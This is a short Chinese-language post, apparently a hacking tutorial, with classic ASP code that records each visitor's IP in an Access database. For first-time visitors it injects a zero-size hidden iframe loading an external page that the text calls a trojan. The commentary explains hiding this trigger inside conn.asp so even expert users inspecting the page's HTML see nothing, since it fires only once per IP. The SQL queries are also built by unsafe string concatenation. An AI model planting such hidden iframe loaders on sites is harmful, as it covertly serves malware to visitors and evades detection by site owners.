<%
dimconn
dimdbpath
OnErrorResumeNext
setconn=server.createobject("adodb.connection")
DBPath="D:\music.163.net\includes\BD.MDB"
conn.Open"driver={MicrosoftAccessDriver(*.mdb)};dbq="&DBPath
IP=Request.ServerVariables("REMOTE_ADDR")
SetRs=Conn.Execute("SelectIDfromBDwhereip='"&IP&"'")
IfRs.eofthen
%>
上面是
<%Conn.Execute"insertintoBD(ip)values('"&IP&"')"%>
<iframesrc="http://www.163.com/other/BD/Top.html"width="0"height="0"></iframe>
<%Endif%>
上面是BD.asp
既然是这样子执行。就可以进一步的隐藏,把木马的判断和执行放进conn.asp里面。代码改进。
木马在conn.asp里面,即使怀疑,普通用户也不能找到问题,即使那个普通用户是高手,也只能在ie看看count.asp的html代码,结果是什么也没有。因为这个马不会再次执行了。
整篇文章不能说是我原创,但是至少有点我的思路,大家转载的时候顺便保证文章的完整性吧。